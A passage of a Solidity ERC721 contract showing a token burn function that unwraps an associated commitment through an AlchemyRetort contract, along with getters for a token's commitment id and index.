tokenId) public { require(_exists(tokenId), "ERC721: Burn query for nonexistent token"); require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: Burn caller is not owner nor approved"); IAlchemyRetort alchemyRetort = IAlchemyRetort(_alchemyRetort); alchemyRetort.unwrapToken(_tokenCommitmentIds[tokenId], ownerOf(tokenId)); _burn(tokenId); delete _tokenCommitmentIds[tokenId]; } function getCommitmentId(uint256 tokenId) public view returns (uint256 commitmentId) { return _tokenCommitmentIds[tokenId].commitmentId; } function getCommitmentIndex(uint256 tokenId) public view returns (uint256 commitmentId) { return _tokenCommitmentIds[tokenId].commitmentIndex; } function contractAddress() internal view returns (string memory) { return Strings.toHexString(uint160(address(this)), 20); } }

True

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